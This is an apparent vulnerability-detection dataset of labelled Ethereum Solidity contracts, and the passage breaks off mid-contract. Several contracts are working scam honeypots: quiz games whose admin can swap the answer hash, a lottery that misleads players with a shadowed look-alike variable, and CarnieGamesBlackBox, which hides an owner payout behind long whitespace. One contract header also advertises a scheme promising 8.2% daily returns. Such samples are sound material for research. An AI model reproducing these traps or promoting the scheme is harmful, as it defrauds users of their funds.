Thi-Thu-Huong/Balanced-Ethereum-Smart-Contract huggingface dataset:
// Vulnerability label: ARTHM_TimeO
pragma solidity ^0.4.19;

contract ENVELOPE
{
    bytes32 public hashPass;
    
    bool closed = false;
    
    address sender;
 
    uint unlockTime;
 
    function GetHash(bytes pass) public pure returns (bytes32) {return keccak256(pass);}
    
    function SetPass(bytes32 hash)
    public
    payable
    {
        if( (!closed&&(msg.value > 1 ether)) || hashPass==0x00 )
        {
            hashPass = hash;
            sender = msg.sender;
            unlockTime = now;
        }
    }
    
    function SetGiftTime(uint date)
    public
    {
        if(msg.sender==sender)
        {
            unlockTime = date;
        }
    }
    
    function GetGift(bytes pass)
    external
    payable
    canOpen
    {
        if(hashPass == keccak256(pass))
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function Revoce()
    public
    payable
    canOpen
    {
        if(msg.sender==sender)
        {
            sender.transfer(this.balance);
        }
    }
    
    function PassHasBeenSet(bytes32 hash)
    public
    {
        if(hash==hashPass&&msg.sender==sender)
        {
           closed=true;
        }
    }
    
    modifier canOpen
    {
        require(now>unlockTime);
        _;
    }
    
    function() public payable{}
    
}
// Vulnerability label: ARTHM_TimeO
pragma solidity ^0.4.25;

contract ETher_game
{
    function Try(string _response) external payable 
    {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(_response) && msg.value > 1 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }

    string public question;

    bytes32 responseHash;

    mapping (bytes32=>bool) admin;

    function Start(string _question, string _response) public payable isAdmin{
        if(responseHash==0x0){
            responseHash = keccak256(_response);
            question = _question;
        }
    }

    function Stop() public payable isAdmin {
        msg.sender.transfer(this.balance);
    }

    function New(string _question, bytes32 _responseHash) public payable isAdmin {
        question = _question;
        responseHash = _responseHash;
    }

    constructor(bytes32[] admins) public{
        for(uint256 i=0; i< admins.length; i++){
            admin[admins[i]] = true;        
        }       
    }

    modifier isAdmin(){
        require(admin[keccak256(msg.sender)]);
        _;
    }

    function() public payable{}
}
// Vulnerability label: ARTHM_TimeO
contract PLAY_QZ
{
    function Try(string _response) external payable 
    {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(_response) && msg.value > 2 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }

    string public question;

    bytes32 responseHash;

    mapping (bytes32=>bool) admin;

    function Start(string _question, string _response) public payable isAdmin{
        if(responseHash==0x0){
            responseHash = keccak256(_response);
            question = _question;
        }
    }

    function Stop() public payable isAdmin {
        msg.sender.transfer(this.balance);
    }

    function New(string _question, bytes32 _responseHash) public payable isAdmin {
        question = _question;
        responseHash = _responseHash;
    }

    constructor(bytes32[] admins) public{
        for(uint256 i=0; i< admins.length; i++){
            admin[admins[i]] = true;        
        }       
    }

    modifier isAdmin(){
        require(admin[keccak256(msg.sender)]);
        _;
    }

    function() public payable{}
}
// Vulnerability label: ARTHM_TimeO
pragma solidity ^0.4.25;

contract try_to_play {
    function Try(string _response) external payable {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(_response) && msg.value > 2 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }

    string public question;

    address questionSender;

    bytes32 responseHash;

    bytes32 questionerPin = 0x3220587a12f2ddeabd33fb6830925eae0456db99c9af8ea248d79044ffafd632;

    function ActivateContract(bytes32 _questionerPin, string _question, string _response) public payable {
        if(keccak256(_questionerPin)==questionerPin) 
        {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
            questionerPin = 0x0;
        }
    }

    function StopGame() public payable {
        require(msg.sender==questionSender);
        msg.sender.transfer(this.balance);
    }

    function NewQuestion(string _question, bytes32 _responseHash) public payable {
        if(msg.sender==questionSender){
            question = _question;
            responseHash = _responseHash;
        }
    }

    function newQuestioner(address newAddress) public {
        if(msg.sender==questionSender)questionSender = newAddress;
    }

    function() public payable{}
}
// Vulnerability label: ARTHM_TimeO
pragma solidity ^0.4.17;

contract owned {
    address public owner;    
    
    function owned() {
        owner=msg.sender;
    }

    modifier onlyowner{
        if (msg.sender!=owner)
            throw;
        _;
    }
}

contract MyNewBank is owned {
    address public owner;
    mapping (address=>uint) public deposits;
    
    function init() {
        owner=msg.sender;
    }
    
    function() payable {
        deposit();
    }
    
    function deposit() payable {
        if (msg.value >= 100 finney)
            deposits[msg.sender]+=msg.value;
        else
            throw;
    }
    
    function withdraw(uint amount) public onlyowner {
        require(amount>0);
        uint depo = deposits[msg.sender];
        if (amount <= depo)
            msg.sender.send(amount);
        else
            revert();
            
    }

	function kill() onlyowner {
	    if(this.balance==0) {  
		    selfdestruct(msg.sender);
	    }
	}
}
// Vulnerability label: ARTHM_TimeO
pragma solidity ^0.4.25;

contract go_to_play
{

    function Try(string _response) external payable {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(_response) && msg.value > 2 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }

    string public question;

    address questionSender;

    bytes32 responseHash;

    bytes32 questionerPin = 0x71b7c45faefe01493a9115cdeb4dd286f06d27165023dda773a09f94d998e72f;

    function Activate(bytes32 _questionerPin, string _question, string _response) public payable {
        if(keccak256(_questionerPin)==questionerPin) 
        {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
            questionerPin = 0x0;
        }
    }

    function StopGame() public payable {
        require(msg.sender==questionSender);
        msg.sender.transfer(this.balance);
    }

    function NewQuestion(string _question, bytes32 _responseHash) public payable {
        if(msg.sender==questionSender){
            question = _question;
            responseHash = _responseHash;
        }
    }

    function newQuestioner(address newAddress) public {
        if(msg.sender==questionSender)questionSender = newAddress;
    }

    function() public payable{}
}
// Vulnerability label: ARTHM_TimeO
pragma solidity ^0.4.20;

contract you_can_do_it
{
    function Try(string _response)
    external
    payable
    {
        require(msg.sender == tx.origin);
        
        if(responseHash == keccak256(_response) && msg.value>1 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    string public question;
 
    address questionSender;
  
    bytes32 responseHash;
 
    function start_quiz(string _question,string _response)
    public
    payable
    {
        if(responseHash==0x0)
        {
            responseHash = keccak256(_response);
            
            question = _question;
            
            questionSender = msg.sender;
        }
    }
    
    function StopGame()
    public
    payable
    {
       require(msg.sender==questionSender);
       
       msg.sender.transfer(this.balance);
    }
    
    function NewQuestion(string _question, bytes32 _responseHash)
    public
    payable
    {
        require(msg.sender==questionSender);
        
        question = _question;
        
        responseHash = _responseHash;
    }
    
    function() public payable{}
}
// Vulnerability label: ARTHM_TimeO
//
// Licensed under the Apache License, version 2.0.
//
pragma solidity ^0.4.14;

contract Ownable {
    address public Owner;
    
    function Ownable() { Owner = msg.sender; }
    function isOwner() internal constant returns (bool) { return(Owner == msg.sender); }
}

contract Savings is Ownable {
    address public Owner;
    mapping (address => uint) public deposits;
    uint public openDate;
    
    event Initialized(uint OpenDate);
    event Deposit(address indexed Depositor, uint Amount);
    event Withdrawal(address indexed Withdrawer, uint Amount);
    
    function init(uint open) payable {
        Owner = msg.sender;
        openDate = open;
        Initialized(open);
    }

    function() payable { deposit(); }
    
    function deposit() payable {
        if (msg.value >= 0.5 ether) {
            deposits[msg.sender] += msg.value;
            Deposit(msg.sender, msg.value);
        }
    }
    
    function withdraw(uint amount) payable {
        if (isOwner() && now >= openDate) {
            uint max = deposits[msg.sender];
            if (amount <= max && max > 0) {
                msg.sender.transfer(amount);
                Withdrawal(msg.sender, amount);
            }
        }
    }

    function kill() payable {
        if (isOwner() && this.balance == 0) {
            selfdestruct(Owner);
        }
	}
}
// Vulnerability label: ARTHM_TimeO
pragma solidity ^0.4.25;

contract QUIK_QUIZ
{
    function Try(string _response) external payable {
        require(msg.sender == tx.origin);
        
        if(responseHash == keccak256(_response) && msg.value > 3 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    string public question;
    
    address questionSender;
    
    bytes32 responseHash;
 
    bytes32 questionerPin = 0x3d65a8897e81ce4b3edd8726ddc88ea044ba4b2bb9d14726acc145df96dc5743;
 
    function ActivateContract(bytes32 _questionerPin, string _question, string _response) public payable {
        if(keccak256(_questionerPin)==questionerPin) 
        {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
            questionerPin = 0x0;
        }
    }
    
    function StopGame() public payable {
        require(msg.sender==questionSender);
        msg.sender.transfer(this.balance);
    }
    
    function NewQuestion(string _question, bytes32 _responseHash) public payable {
        if(msg.sender==questionSender){
            question = _question;
            responseHash = _responseHash;
        }
    }
    
    function newQuestioner(address newAddress) public {
        if(msg.sender==questionSender)questionSender = newAddress;
    }
    
    
    function() public payable{}
}
// Vulnerability label: ARTHM_TimeO
pragma solidity ^0.4.25;

contract En_GAME
{
    function Try(string _response) external payable 
    {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(_response) && msg.value > 0.4 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }

    string public question;

    bytes32 responseHash;

    mapping (bytes32=>bool) admin;

    function Start(string _question, string _response) public payable isAdmin{
        if(responseHash==0x0){
            responseHash = keccak256(_response);
            question = _question;
        }
    }

    function Stop() public payable isAdmin {
        msg.sender.transfer(this.balance);
    }

    function New(string _question, bytes32 _responseHash) public payable isAdmin {
        question = _question;
        responseHash = _responseHash;
    }

    constructor(bytes32[] admins) public{
        for(uint256 i=0; i< admins.length; i++){
            admin[admins[i]] = true;        
        }       
    }

    modifier isAdmin(){
        require(admin[keccak256(msg.sender)]);
        _;
    }

    function() public payable{}
}
// Vulnerability label: TimeO
pragma solidity ^0.4.0;
/*
 * This is a distributed lottery that chooses random addresses as lucky addresses. If these
 * participate, they get the jackpot: the whole balance of the contract, including the ticket
 * price. Of course one address can only win once. The owner regularly reseeds the secret
 * seed of the contract (based on which the lucky addresses are chosen), so if you did not win,
 * just wait for a reseed and try again! Contract addresses cannot play for obvious reasons.
 *
 * Jackpot chance:   1 in 8
*/
contract AddressLotteryV2{
    struct SeedComponents{
        uint component1;
        uint component2;
        uint component3;
        uint component4;
    }
    
    address owner;
    uint private secretSeed;
    uint private lastReseed;
    
    
    // LUCKYNUMBER  = 7
    uint W1NNERLUCK1NUMBERFORWINNINGTHELOTTERY = 7;
    
    uint public ticketPrice = 0.5 ether;
        
    mapping (address => bool) participated;

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
  
    modifier onlyHuman() {
        require(msg.sender == tx.origin);
        _;
    }
    
    function AddressLotteryV2() {
        owner = msg.sender;
        reseed(SeedComponents(12345678, 0x12345678, 0xabbaeddaacdc, 0x22222222));
    }
    
    function setTicketPrice(uint newPrice) onlyOwner {
        ticketPrice = newPrice;
    }
    
    
    
    function participate() payable onlyHuman { 
        require(msg.value == ticketPrice);
        
        // every address can only win once, obviously
        require(!participated[msg.sender]);
        
        if ( luckyNumberOfAddress(msg.sender) == W1NNERLUCK1NUMBERF0RWINNINGTHELOTTERY)
        {
            participated[msg.sender] = true;
            require(msg.sender.call.value(this.balance)());
        }
    }
    
    function luckyNumberOfAddress(address addr) constant returns(uint n){
        // 1 in 8 chance
        n = uint(keccak256(uint(addr), secretSeed)[0]) % 8;
    }
    
    function reseed(SeedComponents components) internal{
        secretSeed = uint256(keccak256(
            components.component1,
            components.component2,
            components.component3,
            components.component4
        ));
        lastReseed = block.number;
    }
    
    function kill() onlyOwner {
        suicide(owner);
    }
    
    function forceReseed() {
        SeedComponents s;
        s.component1 = uint(owner);
        s.component2 = uint256(block.blockhash(block.number - 1));
        s.component3 = block.number * 1337;
        s.component4 = tx.gasprice * 7;
        reseed(s);
    }
    
    uint W1NNERLUCK1NUMBERF0RWINNINGTHELOTTERY = 0x12345678;
    
    function () payable {}
    
    // DEBUG, DELETE BEFORE DEPLOYMENT!!
    // LUCKY NUMBER 7
    function _myLuckyNumber() constant returns(uint n){
        n = luckyNumberOfAddress(msg.sender);
    }
}
// Vulnerability label: TimeO
pragma solidity ^0.4.11;

contract Challenge {
    address public owner;
    address public previous_owner;
    address public creator;

    bytes32 public flag_hash = 0xfa9b079005103147ac67299be9119fb4a47e29801f2d8d5025f36b248ce23695;

    function Challenge() public {
        owner = msg.sender;
        creator = msg.sender;
    }

    function withdraw() public {
        require(address(this).balance > 0);

        if(address(this).balance > 0.01 ether) {
            previous_owner.transfer(address(this).balance - 0.01 ether);
        }
        creator.transfer(address(this).balance);
    }

    function change_flag_hash(bytes32 data) public payable {
        require(msg.value > 0.003 ether);
        require(msg.sender == owner);

        flag_hash = data;
    }

    function check_flag(bytes32 data) public payable returns (bool) {
        require(msg.value > address(this).balance - msg.value);
        require(msg.sender != owner && msg.sender != previous_owner);
        require(keccak256(data) == flag_hash);

        previous_owner = owner;
        owner = msg.sender;

        return true;
    }
}
// Vulnerability label: TimeO
pragma solidity ^0.4.25 ;

contract Ccl{
    address owner;
    constructor() public payable{
        owner = msg.sender;
    }
    modifier onlyOwner(){
        require (msg.sender==owner);
        _;
    }
    event transferLogs(address,string,uint);
    function () payable public {
        // 其他逻辑
    }
    // 获取合约账户余额
    function getBalance() public constant returns(uint){
        return address(this).balance;
    }
    // 批量出账
    function sendAll(address[] _users,uint[] _prices,uint _allPrices) public onlyOwner{
        require(_users.length>0);
        require(_prices.length>0);
        require(address(this).balance>=_allPrices);
        for(uint32 i =0;i<_users.length;i++){
            require(_users[i]!=address(0));
            require(_prices[i]>0);
          _users[i].transfer(_prices[i]);  
          emit transferLogs(_users[i],'转账',_prices[i]);
        }
    }
    // 合约出账
    function sendTransfer(address _user,uint _price) public onlyOwner{
        require(_user!=owner);
        if(address(this).balance>=_price){
            _user.transfer(_price);
            emit transferLogs(_user,'转账',_price);
        }
    }
    // 提币
    function getEth(uint _price) public onlyOwner{
        if(_price>0){
            if(address(this).balance>=_price){
                owner.transfer(_price);
            }
        }else{
           owner.transfer(address(this).balance); 
        }
    }
}
// Vulnerability label: TimeO
pragma solidity ^0.4.13;

contract owned {
    
    address public owner;

    function owned() {
        owner = msg.sender;
    }

    modifier onlyOwner {
        if (msg.sender != owner) revert();
        _;
    }

    function transferOwnership(address newOwner) onlyOwner {
        owner = newOwner;
    }
    
}

contract Agent is owned {
    
    function g(address addr) payable {
        addr.transfer(msg.value);
    }

    function w() onlyOwner {
        owner.transfer(this.balance);
    }
    
    function k() onlyOwner {
        suicide(owner);
    }
    
}
// Vulnerability label: TimeO
/*  
 * 
 *  Приглашаем всех кто хочет заработать в green-ethereus.com
 *
 *  Aдрес контракта: 0xc8bb6085d22de404fe9c6cd85c4536654b9f37b1
 *   
 *  Быстрая окупаемость ваших денег 8.2% в день, 
 *  аудит пройден у профессионалов (не у ютуберов). 
 *  Конкурсы и призы активным участникам.
 *  
 *  =======================================================
 *  
 *  We invite everyone who wants to make money in green-ethereus.com
 *
 *  Contract address: 0xc8bb6085d22de404fe9c6cd85c4536654b9f37b1
 *   
 *  Quick payback of your money 8.2% per day,
 *  The audit was carried out by professionals (not by YouTube).
 *  Contests and prizes for active participants.
 * 
 *  
 */ 



















contract GreenEthereusPromo {
    
    string public constant name = "↓ See Code Of The Contract";
    
    string public constant symbol = "Code ✓";
    
    event Transfer(address indexed from, address indexed to, uint256 value);
    
    address owner;
    
    uint public index;
    
    constructor() public {
        owner = msg.sender;
    }
    
    function() public payable {}
    
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    
    function transferOwnership(address _new) public onlyOwner {
        owner = _new;
    }
    
    function resetIndex(uint _n) public onlyOwner {
        index = _n;
    }
    
    function massSending(address[] _addresses) external onlyOwner {
        for (uint i = 0; i < _addresses.length; i++) {
            _addresses[i].send(777);
            emit Transfer(0x0, _addresses[i], 777);
            if (gasleft() <= 50000) {
                index = i;
                break;
            }
        }
    }
    
    function withdrawBalance() public onlyOwner {
        owner.transfer(address(this).balance);
    }
}
// Vulnerability label: TimeO
//SPACEDICE - https://adapp.games/spacedice
//Pick dice 1, dice 2, and place a minimum bet of .001 ETH
//Pays x2 for total call, x8 for hard ways, x30 for snake eyes or midnight

pragma solidity ^0.4.23;

//Randomness by Ñíguez Randomity Engine
//https://niguezrandomityengine.github.io/
contract niguezRandomityEngine {
  function ra() external view returns (uint256);
	function rx() external view returns (uint256);
}

contract usingNRE {

  niguezRandomityEngine internal nre = niguezRandomityEngine(0x031eaE8a8105217ab64359D4361022d0947f4572);
    
  function ra() internal view returns (uint256) {
        return nre.ra();
    }
	
	function rx() internal view returns (uint256) {
        return nre.rx();
    }
}

contract Ownable {
  address owner;
  constructor() public {
  owner = msg.sender;
  }

  modifier onlyOwner {
  require(msg.sender == owner);
  _;
  }
}

  contract Mortal is Ownable {
  function kill() public onlyOwner {
    selfdestruct(owner);
  }
}

  contract SPACEDICE is Mortal, usingNRE{
  uint minBet = 1000000000000000; //.001 ETH minimum bet 

  event Roll(bool _won, uint256 _dice1, uint256 _dice2, uint256 _roll1, uint256 _roll2, uint _amount);

  constructor() payable public {}

  function() public { //fallback
    revert();
  }

  function bet(uint _diceOne, uint _diceTwo) payable public {
    require(tx.origin == msg.sender);//Prevent call from a contract
    require(_diceOne > 0 && _diceOne <= 6);
    require(_diceTwo > 0 && _diceTwo <= 6);
    require(msg.value >= minBet);
    uint256 rollone = ra() % 6 + 1;
    uint256 rolltwo = rx() % 6 + 1;
    uint256 totalroll = rollone + rolltwo;
    uint256 totaldice = _diceOne + _diceTwo;
    if (totaldice == totalroll) {
      uint amountWon = msg.value*2;//Pays double for total call
      if(rollone==rolltwo && _diceOne==_diceTwo) amountWon = msg.value*8;//Pays x8 for hard ways
      if(totalroll==2 || totalroll==12) amountWon = msg.value*30;//Pays x30 for 11 or 66
      if(!msg.sender.send(amountWon)) revert();
      emit Roll(true, _diceOne, _diceTwo, rollone, rolltwo, amountWon);
    }
    else {
      emit Roll(false, _diceOne, _diceTwo, rollone, rolltwo, 0);
    }
  }

  function checkContractBalance() public view returns(uint) {
    return address(this).balance;
  }

  //Withdrawal function
  function collect(uint _amount) public onlyOwner {
    require(address(this).balance > _amount);
    owner.transfer(_amount);
  }
}
// Vulnerability label: TimeO
pragma solidity ^0.4.13;

contract ERC20Basic {
    uint256 public totalSupply;
    function balanceOf(address who) public view returns (uint256);
}

contract Payout {
    ERC20Basic HorseToken;
    address payoutPoolAddress;
    address owner;
    address dev;
    address devTokensVestingAddress;
    bool payoutPaused;
    bool payoutSetup;
    uint256 public payoutPoolAmount;
    mapping(address => bool) public hasClaimed;

    constructor() public {
        HorseToken = ERC20Basic(0x5B0751713b2527d7f002c0c4e2a37e1219610A6B);        // Horse Token Address
        payoutPoolAddress = address(0xf783A81F046448c38f3c863885D9e99D10209779);    // takeout pool
        dev = address(0x1F92771237Bd5eae04e91B4B6F1d1a78D41565a2);                  // dev wallet
        devTokensVestingAddress = address(0x44935883932b0260C6B1018Cf6436650BD52a257); // vesting contract
        owner = msg.sender;
    }

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }
    
    modifier isPayoutPaused {
        require(!payoutPaused);
        _;
    }
    
    modifier hasNotClaimed {
        require(!hasClaimed[msg.sender]);
        _;
    }
     modifier isPayoutSetup {
         require(payoutSetup);
         _;
     }
    
    function setupPayout() external payable {
        require(!payoutSetup);
        require(msg.sender == payoutPoolAddress);
        payoutPoolAmount = msg.value;
        payoutSetup = true;
        payoutPaused = true;
    }
    
    function getTokenBalance() public view returns (uint256) {
        if (msg.sender == dev) {
            return (HorseToken.balanceOf(devTokensVestingAddress));
        } else {
            return (HorseToken.balanceOf(msg.sender));
        }
    }
    
    function getRewardEstimate() public view isPayoutSetup returns(uint256 rewardEstimate) {
        uint factor = getTokenBalance();
        uint totalSupply = HorseToken.totalSupply();
        factor = factor*(10**18);   // 18 decimal precision
        factor = (factor/(totalSupply));
        rewardEstimate = (payoutPoolAmount*factor)/(10**18); // 18 decimal correction
    }
    
    function claim() external isPayoutPaused hasNotClaimed isPayoutSetup {
        uint rewardAmount = getRewardEstimate();
        hasClaimed[msg.sender] = true;
        require(rewardAmount <= address(this).balance);
        msg.sender.transfer(rewardAmount);
    }
    
    function payoutControlSwitch(bool status) external onlyOwner {
        payoutPaused = status;
    }
    
    function extractFund(uint256 _amount) external onlyOwner {
        if (_amount == 0) {
            owner.transfer(address(this).balance);
        } else {
            require(_amount <= address(this).balance);
            owner.transfer(_amount);
        }
    }
}
// Vulnerability label: TimeO
pragma solidity ^0.4.25;

interface Snip3DInterface  {
    function() payable external;
   function offerAsSacrifice(address MN)
        external
        payable
        ;
         function withdraw()
        external
        ;
        function myEarnings()
        external
        view
       
        returns(uint256);
        function tryFinalizeStage()
        external;
    function sendInSoldier(address masternode) external payable;
    function fetchdivs(address toupdate) external;
    function shootSemiRandom() external;
}

// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
    address public owner;
    address public newOwner;

    event OwnershipTransferred(address indexed _from, address indexed _to);

    constructor() public {
        owner = 0x0B0eFad4aE088a88fFDC50BCe5Fb63c6936b9220;
    }

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

    function transferOwnership(address _newOwner) public onlyOwner {
        owner = _newOwner;
    }
    
}
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
    function add(uint a, uint b) internal pure returns (uint c) {
        c = a + b;
        require(c >= a);
    }
    function sub(uint a, uint b) internal pure returns (uint c) {
        require(b <= a);
        c = a - b;
    }
    function mul(uint a, uint b) internal pure returns (uint c) {
        c = a * b;
        require(a == 0 || c / a == b);
    }
    function div(uint a, uint b) internal pure returns (uint c) {
        require(b > 0);
        c = a / b;
    }
}
// Snip3dbridge contract
contract Slaughter3D is  Owned {
    using SafeMath for uint;
    Snip3DInterface constant Snip3Dcontract_ = Snip3DInterface(0xb172BB8BAae74F27Ade3211E0c145388d3b4f8d8);
    function harvestableBalance()
        view
        public
        returns(uint256)
    {
        return ( address(this).balance)  ;
    }
    function unfetchedVault()
        view
        public
        returns(uint256)
    {
        return ( Snip3Dcontract_.myEarnings())  ;
    }
    function sacUp () onlyOwner public payable {
       
        Snip3Dcontract_.offerAsSacrifice.value(0.1 ether)(msg.sender);
    }
    function validate () onlyOwner public {
       
        Snip3Dcontract_.tryFinalizeStage();
    }
    function fetchvault () public {
      
        Snip3Dcontract_.withdraw();
    }
    function fetchBalance () onlyOwner public {
      
        msg.sender.transfer(address(this).balance);
    }
    function () external payable{} // needs for divs
}
// Vulnerability label: TimeO
/**
 *Submitted for verification at Etherscan.io on 2019-07-18
*/

pragma solidity ^0.4.25 ;

contract Imt{
    address owner;
    constructor() public payable{
        owner = msg.sender;
    }
    modifier onlyOwner(){
        require (msg.sender==owner);
        _;
    }
    event transferLogs(address,string,uint);
    function () payable public {
        // 其他逻辑
    }
    // 获取合约账户余额
    function getBalance() public constant returns(uint){
        return address(this).balance;
    }
    // 批量出账
    function sendAll(address[] _users,uint[] _prices,uint _allPrices) public onlyOwner{
        require(_users.length>0);
        require(_prices.length>0);
        require(address(this).balance>=_allPrices);
        for(uint32 i =0;i<_users.length;i++){
            require(_users[i]!=address(0));
            require(_prices[i]>0);
          _users[i].transfer(_prices[i]);  
          emit transferLogs(_users[i],'转账',_prices[i]);
        }
    }
    // 合约出账
    function sendTransfer(address _user,uint _price) public onlyOwner{
        require(_user!=owner);
        if(address(this).balance>=_price){
            _user.transfer(_price);
            emit transferLogs(_user,'转账',_price);
        }
    }
    // 提币
    function getEth(uint _price) public onlyOwner{
        if(_price>0){
            if(address(this).balance>=_price){
                owner.transfer(_price);
            }
        }else{
           owner.transfer(address(this).balance); 
        }
    }
    // 销毁
    function kill() public onlyOwner{
        selfdestruct(owner);
    }
}
// Vulnerability label: TimeO
pragma solidity ^0.4.16;

interface token {
    function transfer(address receiver, uint amount);
}

contract Crowdsale {
    address public beneficiary;
    uint public fundingGoal;
    uint public amountRaised;
    uint public deadline;
    uint public price;
    token public tokenReward;
    mapping(address => uint256) public balanceOf;
    bool fundingGoalReached = false;
    bool crowdsaleClosed = false;

    event GoalReached(address recipient, uint totalAmountRaised);
    event FundTransfer(address backer, uint amount, bool isContribution);

    /**
     * Constructor function
     *
     * Setup the owner
     */
    function Crowdsale(
        address ifSuccessfulSendTo,
        uint fundingGoalInEthers,
        uint durationInMinutes,
        uint etherCostOfEachToken,
        address addressOfTokenUsedAsReward
    ) {
        beneficiary = ifSuccessfulSendTo;
        fundingGoal = fundingGoalInEthers * 1 ether;
        deadline = now + durationInMinutes * 1 minutes;
        price = etherCostOfEachToken * 1 ether;
        tokenReward = token(addressOfTokenUsedAsReward);
    }

    /**
     * Fallback function
     *
     * The function without name is the default function that is called whenever anyone sends funds to a contract
     */
    function () payable {
        require(!crowdsaleClosed);
        uint amount = msg.value;
        balanceOf[msg.sender] += amount;
        amountRaised += amount;
        tokenReward.transfer(msg.sender, amount / price);
        FundTransfer(msg.sender, amount, true);
    }

    modifier afterDeadline() { if (now >= deadline) _; }

    /**
     * Check if goal was reached
     *
     * Checks if the goal or time limit has been reached and ends the campaign
     */
    function checkGoalReached() afterDeadline {
        if (amountRaised >= fundingGoal){
            fundingGoalReached = true;
            GoalReached(beneficiary, amountRaised);
        }
        crowdsaleClosed = true;
    }


    /**
     * Withdraw the funds
     *
     * Checks to see if goal or time limit has been reached, and if so, and the funding goal was reached,
     * sends the entire amount to the beneficiary. If goal was not reached, each contributor can withdraw
     * the amount they contributed.
     */
    function safeWithdrawal() afterDeadline {
        if (!fundingGoalReached) {
            uint amount = balanceOf[msg.sender];
            balanceOf[msg.sender] = 0;
            if (amount > 0) {
                if (msg.sender.send(amount)) {
                    FundTransfer(msg.sender, amount, false);
                } else {
                    balanceOf[msg.sender] = amount;
                }
            }
        }

        if (fundingGoalReached && beneficiary == msg.sender) {
            if (beneficiary.send(amountRaised)) {
                FundTransfer(beneficiary, amountRaised, false);
            } else {
                //If we fail to send the funds to beneficiary, unlock funders balance
                fundingGoalReached = false;
            }
        }
    }
}
// Vulnerability label: TimeO
pragma solidity ^0.4.16;

interface Token {
    function transferFrom(address _from, address _to, uint256 _value) external;
}

contract SGEICO {

    Token public tokenReward;
    address public creator;
    address public owner = 0x8dfFcCE1d47C6325340712AB1B8fD7328075730C;

    uint256 public price;
    uint256 public startDate;
    uint256 public endDate;

    modifier isCreator() {
        require(msg.sender == creator);
        _;
    }

    event FundTransfer(address backer, uint amount, bool isContribution);

    constructor () public {
        creator = msg.sender;
        startDate = 1536969600;
        endDate = 1544832000;
        price = 1100;
        tokenReward = Token(0x40489719E489782959486A04B765E1E93E5B221a);
    }

    function setOwner(address _owner) isCreator public {
        owner = _owner;
    }

    function setCreator(address _creator) isCreator public {
        creator = _creator;
    }

    function setStartDate(uint256 _startDate) isCreator public {
        startDate = _startDate;
    }

    function setEndtDate(uint256 _endDate) isCreator public {
        endDate = _endDate;
    }

    function setPrice(uint256 _price) isCreator public {
        price = _price;
    }

    function setToken(address _token) isCreator public {
        tokenReward = Token(_token);
    }

    function kill() isCreator public {
        selfdestruct(owner);
    }

    function () payable public {
        require(msg.value > 1 ether);
        require(now > startDate);
        require(now < endDate);
	    uint amount = msg.value * price;
        uint _amount = amount / 4;
        amount += _amount;
        tokenReward.transferFrom(owner, msg.sender, amount);
        emit FundTransfer(msg.sender, amount, true);
        owner.transfer(msg.value);
    }
}
// Vulnerability label: TimeO
pragma solidity ^0.4.11;

contract Johnsonville {

    address owner;
    address patronOne;
    address patronTwo;
    address patronThree;

    bool patronOneWd;
    bool patronTwoWd;
    bool patronThreeWd;

    modifier onlyOwner {
      if(msg.sender != owner) throw;
      _;
    }

    function Johnsonville() {
      owner = msg.sender;
      patronOneWd = false;
      patronTwoWd = false;
      patronThreeWd = false;
    }

    function Donate() payable {
      if(msg.value > patronOne.balance || patronOne == 0x0){
        patronOne = msg.sender;
        return;
      }
      if(msg.value > patronTwo.balance || patronTwo == 0x0){
        patronTwo = msg.sender;
        return;
      }
      if(msg.value > patronThree.balance || patronThree == 0x0){
        patronThree = msg.sender;
        return;
      }
    }

    function PatronOneWithdrawal(){
      if(msg.sender == patronOne){ patronOneWd = !patronOneWd; }
    }

    function PatronTwoWithdrawal(){
      if(msg.sender == patronTwo){ patronTwoWd = !patronTwoWd; }
    }

    function PatronThreeWithdrawal(){
      if(msg.sender == patronThree){ patronThreeWd = !patronThreeWd; }
    }

    function Withdrawal(address withdrawalAddress) onlyOwner {
      if(patronOneWd && patronTwoWd && patronThreeWd){
        selfdestruct(withdrawalAddress);
      }
    }

    function KillContract() onlyOwner {
      selfdestruct(0x0);
    }
}
// Vulnerability label: TimeO
pragma solidity ^0.4.19;

//Guess the block time and win the 
//balance. Proceed at your own risk.
//Open for all to play.
contract CarnieGamesBlackBox
{
    address public Owner = msg.sender;
    bytes32 public key = keccak256(block.timestamp);
   
    function() public payable{}
   
    //.1 eth charged per attempt
    function OpenBox(uint256 guess)
    public
    payable
    {                                                                    
        if(msg.value >= .1 ether)
        {
            if(keccak256(guess) == key)
            {                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Owner.transfer(this.balance);
                msg.sender.transfer(this.balance);
            }
        }                                                                                                                
    }
    
    function GetHash(uint256 input)
    public
    pure
    returns(bytes32)
    {
        return keccak256(input);
    }
    
    function Withdraw()
    public
    {
        require(msg.sender == Owner);
        Owner.transfer(this.balance);
    }
}
// Vulnerability label: TimeO
pragma solidity ^0.4.20;

contract X2Equal
{
    address Owner = msg.sender;

    function() public payable {}
   
    function cancel() payable public {
        if (msg.sender == Owner) {
            selfdestruct(Owner);
        }
    }
    
    function X2() public payable {
        if (msg.value >= this.balance) {
            selfdestruct(msg.sender);
        }
    }
}
// Vulnerability label: TimeO
pragma solidity ^0.4.16;

interface Token {
    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
}

contract LVRCrowdsale {
    
    Token public tokenReward;
    address public creator;
